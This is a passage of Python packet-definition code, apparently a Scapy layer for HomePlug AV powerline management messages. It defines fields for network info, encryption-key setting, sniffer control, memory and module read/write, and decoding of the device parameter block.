           XByteField(\"CCoTerminalEID\", 0x01),\n                   X3BytesField(\"reserved_3\", 0x000000)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass StationInfoV11(Packet):\n    \"\"\"\n        Station Information Element\n    \"\"\"\n    name = \"StationInfo\"\n    fields_desc = [MACField(\"StationMAC\", \"00:00:00:00:00:00\"),\n                   XByteField(\"StationTerminalEID\", 0x01),\n                   X3BytesField(\"reserved_s2\", 0x000000),\n                   MACField(\"firstnodeMAC\", \"ff:ff:ff:ff:ff:ff\"),\n                   LEShortField(\"TXaverage\", 0x0000),\n                   BitField(\"RxCoupling\", 0, 4),\n                   BitField(\"TxCoupling\", 0, 4),\n                   XByteField(\"reserved_s3\", 0x00),\n                   LEShortField(\"RXaverage\", 0x0000),\n                   XByteField(\"reserved_s4\", 0x00)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n#                          END                                                          #  # noqa: E501\n\n\nclass NetworkInfoConfirmationV10(Packet):\n    \"\"\"\n        Network Information Confirmation following the MAC Management version 1.0  # noqa: E501\n    \"\"\"\n    name = \"NetworkInfoConfirmation\"\n    fields_desc = [XByteField(\"LogicalNetworksNumber\", 0x01),\n                   PacketListField(\"NetworksInfos\", \"\", NetworkInfoV10, length_from=lambda pkt: pkt.LogicalNetworksNumber * 17),  # noqa: E501\n                   XByteField(\"StationsNumber\", 0x01),\n                   PacketListField(\"StationsInfos\", \"\", StationInfoV10, length_from=lambda pkt: pkt.StationsNumber * 21)]  # noqa: E501\n\n\nclass NetworkInfoConfirmationV11(Packet):\n    \"\"\"\n        Network Information Confirmation following the MAC Management version 1.1  # noqa: E501\n        This introduce few 'crazy' reserved bytes -> have fun!\n    \"\"\"\n    name = \"NetworkInfoConfirmation\"\n    fields_desc = [StrFixedLenField(\"reserved_n1\", b\"\\x00\\x00\\x3a\\x00\\x00\", 5),\n                   XByteField(\"LogicalNetworksNumber\", 0x01),\n                   PacketListField(\"NetworksInfos\", \"\", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26),  # noqa: E501\n                   XByteField(\"StationsNumber\", 0x01),\n                   StrFixedLenField(\"reserverd_s1\", b\"\\x00\\x00\\x00\\x00\\x00\", 5),  # noqa: E501\n                   PacketListField(\"StationsInfos\", \"\", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23)]  # noqa: E501\n\n\n# Description of Embedded Host Action Required Indice\nActionsList = {0x02: \"'PIB Update Ready'\",\n               0x04: \"'Loader (Bootloader)'\"}\n\n\nclass HostActionRequired(Packet):\n    \"\"\"\n        Embedded Host Action Required Indice\n    \"\"\"\n    name = \"HostActionRequired\"\n    fields_desc = [ByteEnumField(\"ActionRequired\", 0x02, ActionsList)]\n\n\nclass LoopbackRequest(Packet):\n    name = \"LoopbackRequest\"\n    fields_desc = [ByteField(\"Duration\", 0x01),\n                   ByteField(\"reserved_l1\", 0x01),\n                   ShortField(\"LRlength\", 0x0000)]\n    # TODO: Test all possibles data to complete it\n\n\nclass LoopbackConfirmation(Packet):\n    name = \"LoopbackConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes),\n                   ByteField(\"Duration\", 0x01),\n                   ShortField(\"LRlength\", 0x0000)]\n\n################################################################\n# Encryption Key Packets\n################################################################\n\n\nclass SetEncryptionKeyRequest(Packet):\n    name = \"SetEncryptionKeyRequest\"\n    fields_desc = [XByteField(\"EKS\", 0x00),\n                   StrFixedLenField(\"NMK\",\n                                    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",  # noqa: E501\n                                    16),\n                   XByteField(\"PayloadEncKeySelect\", 0x00),\n                   MACField(\"DestinationMAC\", \"ff:ff:ff:ff:ff:ff\"),\n                   StrFixedLenField(\"DAK\",\n                                    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",  # noqa: E501\n                                    16)]\n\n\nSetEncKey_Status = {0x00: \"Success\",\n                    0x10: \"Invalid EKS\",\n                    0x11: \"Invalid PKS\"}\n\n\nclass SetEncryptionKeyConfirmation(Packet):\n    name = \"SetEncryptionKeyConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, SetEncKey_Status)]\n\n################################################################\n# Default config Packet\n################################################################\n\n\nclass QUAResetFactoryConfirm(Packet):\n    name = \"QUAResetFactoryConfirm\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes)]  # TODO : Probably a Status bytefield?  # noqa: E501\n\n######################################################################\n# NVM Parameters Packets\n######################################################################\n\n\nclass GetNVMParametersRequest(Packet):\n    name = \"Get NVM Parameters Request\"\n    fields_desc = []\n\n\nclass GetNVMParametersConfirmation(Packet):\n    name = \"Get NVM Parameters Confirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes),\n                   LEIntField(\"NVMType\", 0x00000013),\n                   LEIntField(\"NVMPageSize\", 0x00000100),\n                   LEIntField(\"NVMBlockSize\", 0x00010000),\n                   LEIntField(\"NVMMemorySize\", 0x00100000)]\n\n######################################################################\n# Sniffer Packets\n######################################################################\n\n\nSnifferControlList = {0x0: \"'Disabled'\",\n                      0x1: \"'Enabled'\"}\n\nSnifferTypeCodes = {0x00: \"'Regular'\"}\n\n\nclass SnifferRequest(Packet):\n    name = \"SnifferRequest\"\n    fields_desc = [ByteEnumField(\"SnifferControl\", 0x0, SnifferControlList)]\n\n\nSnifferCodes = {0x00: \"'Success'\",\n                0x10: \"'Invalid Control'\"}\n\n\nclass SnifferConfirmation(Packet):\n    name = \"SnifferConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes)]\n\n\nDirectionCodes = {0x00: \"'Tx'\",\n                  0x01: \"'Rx'\"}\n\nANCodes = {0x00: \"'In-home'\",\n           0x01: \"'Access'\"}\n\n\nclass SnifferIndicate(Packet):\n    # TODO: Some bitfield have been regrouped for the moment => need more work on it  # noqa: E501\n    name = \"SnifferIndicate\"\n    fields_desc = [ByteEnumField(\"SnifferType\", 0x0, SnifferTypeCodes),\n                   ByteEnumField(\"Direction\", 0x0, DirectionCodes),\n                   LELongField(\"SystemTime\", 0x0),\n                   LEIntField(\"BeaconTime\", 0x0),\n                   XByteField(\"ShortNetworkID\", 0x0),\n                   ByteField(\"SourceTermEqID\", 0),\n                   ByteField(\"DestTermEqID\", 0),\n                   ByteField(\"LinkID\", 0),\n                   XByteField(\"PayloadEncrKeySelect\", 0x0f),\n                   ByteField(\"PendingPHYblock\", 0),\n                   ByteField(\"BitLoadingEstim\", 0),\n                   BitField(\"ToneMapIndex\", 0, size=5),\n                   BitField(\"NumberofSymbols\", 0, size=2),\n                   BitField(\"PHYblockSize\", 0, size=1),\n                   XShortField(\"FrameLength\", 0x0000),\n                   XByteField(\"ReversegrandLength\", 0x0),\n                   BitField(\"RequestSACKtrans\", 0, size=1),\n                   BitField(\"DataMACstreamCMD\", 0, size=3),\n                   BitField(\"ManNACFrameStreamCMD\", 0, size=3),\n                   BitField(\"reserved_1\", 0, size=6),\n                   BitField(\"MultinetBroadcast\", 0, size=1),\n                   BitField(\"DifferentCPPHYclock\", 0, size=1),\n                   BitField(\"Multicast\", 0, size=1),\n                   X3BytesField(\"FrameControlCheckSeq\", 0x000000),\n                   XByteField(\"ShortNetworkID_\", 0x0),\n                   IntField(\"BeaconTimestamp\", 0),\n                   XShortField(\"BeaconTransOffset_0\", 0x0000),\n                   XShortField(\"BeaconTransOffset_1\", 0x0000),\n                   XShortField(\"BeaconTransOffset_2\", 0x0000),\n                   XShortField(\"BeaconTransOffset_3\", 0x0000),\n                   X3BytesField(\"FrameContrchkSeq\", 0x000000)]\n\n######################################################################\n# Read MAC Memory\n#####################################################################\n\n\nclass ReadMACMemoryRequest(Packet):\n    name = \"ReadMACMemoryRequest\"\n    fields_desc = [LEIntField(\"Address\", 0x00000000),\n                   LEIntField(\"Length\", 0x00000400),\n                   ]\n\n\nReadMACStatus = {0x00: \"Success\",\n                 0x10: \"Invalid Address\",\n                 0x14: \"Invalid Length\"}\n\n\nclass ReadMACMemoryConfirmation(Packet):\n    name = \"ReadMACMemoryConfirmation\"\n\n    fields_desc = [ByteEnumField(\"Status\", 0x00, ReadMACStatus),\n                   LEIntField(\"Address\", 0),\n                   FieldLenField(\"MACLen\", None, length_of=\"MACData\", fmt=\"<H\"),  # noqa: E501\n                   StrLenField(\"MACData\", b\"\\x00\", length_from=lambda pkt: pkt.MACLen),  # noqa: E501\n                   ]\n\n######################################################################\n# Module Operation (for newest chipset like 6410, 7000, 7420 and 7500)\n######################################################################\n\n\nOperationList = {0x0000: \"Read\",\n                 0x0011: \"Write\"}\n\n\nclass ModuleOperationRequest(Packet):\n    name = \"ModuleOperationRequest\"\n    fields_desc = [XIntField(\"reserved\", 0),\n                   XByteField(\"NumOpData\", 0x01),\n                   LEShortEnumField(\"operation\", 0x0000, OperationList),\n                   LEShortField(\"OPDataLength\", None),\n                   XIntField(\"reserved_1\", 0),\n                   ConditionalField(LEIntField(\"SessionID\", 0),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   ConditionalField(XByteField(\"ModuleIDX\", 0),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   LEShortField(\"ModuleID\", 0x7002),\n                   LEShortField(\"ModuleSubID\", 0x0000),\n                   ConditionalField(LEShortField(\"ReadDataLen\", 0x0578),\n                                    lambda pkt:(0x0000 == pkt.operation)),\n                   ConditionalField(LEIntField(\"ReadOffset\", 0x00000000),\n                                    lambda pkt:(0x0000 == pkt.operation)),\n                   ConditionalField(FieldLenField(\"WriteDataLen\", None,\n                                                  count_of=\"ModuleData\",\n                                                  fmt=\"<H\"),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   ConditionalField(LEIntField(\"WriteOffset\", 0x00000000),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   ConditionalField(StrLenField(\"ModuleData\", b\"\\x00\",\n                                                length_from=lambda pkt: pkt.WriteDataLen),  # noqa: E501\n                                    lambda pkt:(0x0011 == pkt.operation))]\n\n    def post_build(self, p, pay):\n        if self.operation == 0x0000:\n            if self.OPDataLength is None:\n                _len = 18\n                p = p[:7] + struct.pack('!H', _len) + p[9:]\n        if self.operation == 0x0011:\n            if self.OPDataLength is None:\n                _len = 23 + len(self.ModuleData)\n                p = p[:7] + struct.pack('!H', _len) + p[9:]\n            if self.WriteDataLen is None:\n                _len = len(self.ModuleData)\n                p = p[:22] + struct.pack('!H', _len) + p[24:]\n        return p + pay\n\n\nclass ModuleOperationConfirmation(Packet):\n    name = \"ModuleOperationConfirmation\"\n    fields_desc = [LEShortField(\"Status\", 0x0000),\n                   LEShortField(\"ErrorCode\", 0x0000),\n                   XIntField(\"reserved\", 0),\n                   XByteField(\"NumOpData\", 0x01),\n                   LEShortEnumField(\"operation\", 0x0000, OperationList),\n                   LEShortField(\"OPDataLength\", 0x0012),\n                   XIntField(\"reserved_1\", 0),\n                   ConditionalField(LEIntField(\"SessionID\", 0),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   ConditionalField(XByteField(\"ModuleIDX\", 0),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   LEShortField(\"ModuleID\", 0x7002),\n                   LEShortField(\"ModuleSubID\", 0x0000),\n                   ConditionalField(FieldLenField(\"ReadDataLen\", None,\n                                                  count_of=\"ModuleData\",\n                                                  fmt=\"<H\"),\n                                    lambda pkt:(0x0000 == pkt.operation)),\n                   ConditionalField(LEIntField(\"ReadOffset\", 0x00000000),\n                                    lambda pkt:(0x0000 == pkt.operation)),\n                   ConditionalField(StrLenField(\"ModuleData\", b\"\\x00\",\n                                                length_from=lambda pkt: pkt.ReadDataLen),  # noqa: E501\n                                    lambda pkt:(0x0000 == pkt.operation)),\n                   ConditionalField(LEShortField(\"WriteDataLen\", 0),\n                                    lambda pkt:(0x0011 == pkt.operation)),\n                   ConditionalField(LEIntField(\"WriteOffset\", 0x00000000),\n                                    lambda pkt:(0x0011 == pkt.operation))]\n\n    def post_build(self, p, pay):\n        if self.operation == 0x0011:\n            if self.OPDataLength is None:\n                _len = 18 + len(self.ModuleData)\n                p = p[:7] + struct.pack('h', _len) + p[9:]\n        if self.operation == 0x0000:\n            if self.OPDataLength is None:\n                _len = 23 + len(self.ModuleData)\n                p = p[:7] + struct.pack('h', _len) + p[9:]\n            if self.WriteDataLen is None:\n                _len = len(self.ModuleData)\n                p = p[:17] + struct.pack('h', _len) + p[19:]\n        return p + pay\n\n\n######################################################################\n# Read Module Data\n######################################################################\n\n\nModuleIDList = {0x00: \"MAC Soft-Loader Image\",\n                0x01: \"MAC Software Image\",\n                0x02: \"PIB\",\n                0x10: \"Write Alternate Flash Location\"}\n\n\ndef chksum32(data):\n    cksum = 0\n    for i in range(0, len(data), 4):\n        cksum = (cksum ^ struct.unpack('<I', data[i:i + 4])[0]) & 0xffffffff\n    return (~cksum) & 0xffffffff\n\n\nclass ReadModuleDataRequest(Packet):\n    name = \"ReadModuleDataRequest\"\n    fields_desc = [ByteEnumField(\"ModuleID\", 0x02, ModuleIDList),\n                   XByteField(\"reserved\", 0x00),\n                   LEShortField(\"Length\", 0x0400),\n                   LEIntField(\"Offset\", 0x00000000)]\n\n\nclass ReadModuleDataConfirmation(Packet):\n    name = \"ReadModuleDataConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes),\n                   X3BytesField(\"reserved_1\", 0x000000),\n                   ByteEnumField(\"ModuleID\", 0x02, ModuleIDList),\n                   XByteField(\"reserved_2\", 0x00),\n                   FieldLenField(\"DataLen\", None, count_of=\"ModuleData\", fmt=\"<H\"),  # noqa: E501\n                   LEIntField(\"Offset\", 0x00000000),\n                   LEIntField(\"checksum\", None),\n                   StrLenField(\"ModuleData\", b\"\\x00\", length_from=lambda pkt: pkt.DataLen),  # noqa: E501\n                   ]\n\n    def post_build(self, p, pay):\n        if self.DataLen is None:\n            _len = len(self.ModuleData)\n            p = p[:6] + struct.pack('h', _len) + p[8:]\n        if self.checksum is None and p:\n            ck = chksum32(self.ModuleData)\n            p = p[:12] + struct.pack('I', ck) + p[16:]\n        return p + pay\n\n######################################################################\n# Write Module Data\n######################################################################\n\n\nclass WriteModuleDataRequest(Packet):\n    name = \"WriteModuleDataRequest\"\n    fields_desc = [ByteEnumField(\"ModuleID\", 0x02, ModuleIDList),\n                   XByteField(\"reserved_1\", 0x00),\n                   FieldLenField(\"DataLen\", None, count_of=\"ModuleData\", fmt=\"<H\"),  # noqa: E501\n                   LEIntField(\"Offset\", 0x00000000),\n                   LEIntField(\"checksum\", None),\n                   StrLenField(\"ModuleData\", b\"\\x00\", length_from=lambda pkt: pkt.DataLen),  # noqa: E501\n                   ]\n\n    def post_build(self, p, pay):\n        if self.DataLen is None:\n            _len = len(self.ModuleData)\n            p = p[:2] + struct.pack('<H', _len) + p[4:]\n        if self.checksum is None and p:\n            ck = chksum32(self.ModuleData)\n            p = p[:8] + struct.pack('<I', ck) + p[12:]\n        return p + pay\n\n######################################\n# Parse PIB                          #\n######################################\n\n\nclass ClassifierPriorityMap(Packet):\n    name = \"ClassifierPriorityMap\"\n    fields_desc = [LEIntField(\"Priority\", 0),\n                   LEIntField(\"PID\", 0),\n                   LEIntField(\"IndividualOperand\", 0),\n                   StrFixedLenField(\"ClassifierValue\",\n                                    b\"\\x00\" * 16,\n                                    16),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ClassifierObj(Packet):\n    name = \"ClassifierObj\"\n\n    fields_desc = [LEIntField(\"ClassifierPID\", 0),\n                   LEIntField(\"IndividualOperand\", 0),\n                   StrFixedLenField(\"ClassifierValue\",\n                                    b\"\\x00\" * 16,\n                                    16),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass AutoConnection(Packet):\n    name = \"AutoConnection\"\n\n    fields_desc = [XByteField(\"Action\", 0x00),\n                   XByteField(\"ClassificationOperand\", 0x00),\n                   XShortField(\"NumClassifiers\", 0x0000),\n                   PacketListField(\"ClassifierObjs\", \"\", ClassifierObj, length_from=lambda x: 24),  # noqa: E501\n                   XShortField(\"CSPECversion\", 0x0000),\n                   XByteField(\"ConnCAP\", 0x00),\n                   XByteField(\"ConnCoQoSPrio\", 0x00),\n                   ShortField(\"ConnRate\", 0),\n                   LEIntField(\"ConnTTL\", 0),\n                   ShortField(\"version\", 0),\n                   StrFixedLenField(\"VlanTag\",\n                                    b\"\\x00\" * 4,\n                                    4),\n                   XIntField(\"reserved_1\", 0),\n                   StrFixedLenField(\"reserved_2\",\n                                    b\"\\x00\" * 14,\n                                    14),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass PeerNode(Packet):\n    name = \"PeerNodes\"\n    fields_desc = [XByteField(\"PeerTEI\", 0x0),\n                   MACField(\"PIBMACAddr\", \"00:00:00:00:00:00\"),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass AggregateConfigEntrie(Packet):\n    name = \"AggregateConfigEntrie\"\n    fields_desc = [XByteField(\"TrafficTypeID\", 0x0),\n                   XByteField(\"AggregationConfigID\", 0x0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass RSVD_CustomAggregationParameter(Packet):\n    name = \"RSVD_CustomAggregationParameter\"\n    fields_desc = [XIntField(\"CustomAggregationParameter\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass PrescalerValue(Packet):\n    name = \"PrescalerValue\"\n    fields_desc = [XIntField(\"prescaler\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass GPIOMap(Packet):\n    name = \"GPIOMap\"\n    fields_desc = [XByteField(\"GPIOvalue\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ReservedPercentageForCap(Packet):\n    name = \"ReservedPercentageForCap\"\n    fields_desc = [XByteField(\"CAPpercent\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ConfigBit(Packet):\n    name = \"ConfigBit\"\n    fields_desc = [BitField(\"OverrideSoundCap\", 0, 1),\n                   BitField(\"OverrideFailHoldDefaults\", 0, 1),\n                   BitField(\"OverrideResourceDefaults\", 0, 1),\n                   BitField(\"OverrideContentionWindowDefaults\", 0, 1),\n                   BitField(\"OverrideUnplugDetectionDefaults\", 0, 1),\n                   BitField(\"OverrideResoundDefaults\", 0, 1),\n                   BitField(\"OverrideExpiryDefaults\", 0, 1),\n                   BitField(\"DisableWorseChannelTrigger\", 0, 1),\n                   BitField(\"DisableBetterChannelTrigger\", 0, 1),\n                   BitField(\"DisableNetworkEventTrigger\", 0, 1),\n                   BitField(\"rsv1\", 0, 6),\n                   ]\n\n\nclass ContentionWindowTable(Packet):\n    name = \"ContentionWindowTable\"\n    fields_desc = [XShortField(\"element\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass BackoffDeferalCountTable(Packet):\n    name = \"BackoffDeferalCountTable\"\n    fields_desc = [XByteField(\"element\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass BehaviorBlockArray(Packet):\n    name = \"BehaviorBlockArray\"\n    fields_desc = [XByteField(\"BehId\", 0),\n                   XByteField(\"NoOfSteps\", 0),\n                   XByteField(\"DurationInMs\", 0),\n                   XShortField(\"GPIOMaskBits_1\", 0),\n                   XShortField(\"GPIOMaskBits_2\", 0),\n                   XShortField(\"GPIOMaskBits_3\", 0),\n                   XShortField(\"GPIOMaskBits_4\", 0),\n                   XShortField(\"GPIOMaskBits_5\", 0),\n                   XShortField(\"GPIOMaskBits_6\", 0),\n                   XIntField(\"reserved_beh\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass EventBlockArray(Packet):\n    name = \"EventBlockArray\"\n    fields_desc = [XByteField(\"EventPriorityID\", 0),\n                   XByteField(\"EventID\", 0),\n                   XByteField(\"BehID_1\", 0),\n                   XByteField(\"BehID_2\", 0),\n                   XByteField(\"BehID_3\", 0),\n                   XShortField(\"ParticipatingGPIOs\", 0),\n                   XByteField(\"EventAttributes\", 0),\n                   XShortField(\"reserved_evb\", 0),\n                   ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ModulePIB(Packet):\n    \"\"\"\n        Simple Module PIB Decoder.\n            /!/ A wrong slice would produce 'bad' results\n    \"\"\"\n    name = \"ModulePIB\"\n    __slots__ = [\"_ModulePIB__offset\", \"_ModulePIB__length\"]\n    fields_desc = [\n        ConditionalField(XByteField(\"FirmwareMajorVersion\", 0x00),\n                         lambda pkt:(0x0 == pkt.__offset and 0x1 <= pkt.__offset + pkt.__length)),  # The following conditional fields just check if the current field fits in the data range  # noqa: E501\n        ConditionalField(XByteField(\"PIBMinorVersion\", 0x00),\n                         lambda pkt:(0x1 >= pkt.__offset and 0x2 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_1\", 0x0000),\n                         lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"PIBLength\", 0x0000),\n                         lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_2\", 0x0000),\n                         lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"checksumPIB\", None),\n                         lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(MACField(\"PIBMACAddr\", \"00:00:00:00:00:00\"),\n                         lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"DAK\",\n                                          b\"\\x00\" * 16,\n                                          16),\n                         lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_3\", 0x0000),\n                         lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"ManufactorID\",\n                                          b\"\\x00\" * 64,\n                                          64),\n                         lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"NMK\",\n                                          b\"\\x00\" * 16,\n                                          16),\n                         lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"UserID\",\n                                          b\"\\x00\" * 64,\n                                          64),\n                         lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"AVLN_ID\",\n                                          b\"\\x00\" * 64,\n                                          64),\n                         lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"CCoSelection\", 0x00),\n                         lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"CoExistSelection\", 0x00),\n                         lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PLFreqSelection\", 0x00),\n                         lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"H3CDowngradeShld\", 0x00),\n                         lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"PreferredNID\",\n                                          b\"\\x00\" * 7,\n                                          7),\n                         lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"AutoFWUpgradeable\", 0x00),\n                         lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MDUConfiguration\", 0x00),\n                         lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MDURole\", 0x00),\n                         lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"SnifferEnabled\", 0x00),\n                         lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(MACField(\"SnifferMACAddrRetrn\", \"00:00:00:00:00:00\"),\n                         lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"WireTapEnable\", 0x00),\n                         lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_4\", 0x0000),\n                         lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"StaticNetworkEnabled\", 0x00),\n                         lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"LD_TEI\", 0x00),\n                         lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(MACField(\"CCo_MACAdd\", \"00:00:00:00:00:00\"),\n                         lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"SNID\", 0x00),\n                         lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"NumOfPeerNodes\", 0x00),\n                         lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"PeerNodes\", \"\", PeerNode, length_from=lambda x: 56),  # noqa: E501\n                         lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_5\",\n                                          b\"\\x00\" * 62,\n                                          62),\n                         lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverideModeDefaults\", 0x00),\n                         lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"DisableFlowControl\", 0x00),\n                         lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"AdvertisementCapabilities\", 0x00),\n                         lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideMeteringDefaults\", 0x00),\n                         lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"MaxFramesPerSec\", 0),\n                         lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"DisableAutoNegotiation\", 0x00),\n                         lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnetSpeedSetting\", 0x00),\n                         lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnetDuplexSetting\", 0x00),\n                         lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"DisableTxFlowControl\", 0x00),\n                         lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"DisableRxFlowControl\", 0x00),\n                         lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PhyAddressSelection\", 0x00),\n                         lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PhyAddressSelection_Data\", 0x00),\n                         lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"reserved_6\", 0x00),\n                         lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"Force33MHz\", 0x00),\n                         lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"LinkStatusOnPowerline\", 0x00),\n                         lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideIdDefaults\", 0x00),\n                         lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideSubIdDefaults\", 0x00),\n                         lambda pkt:(0x19F 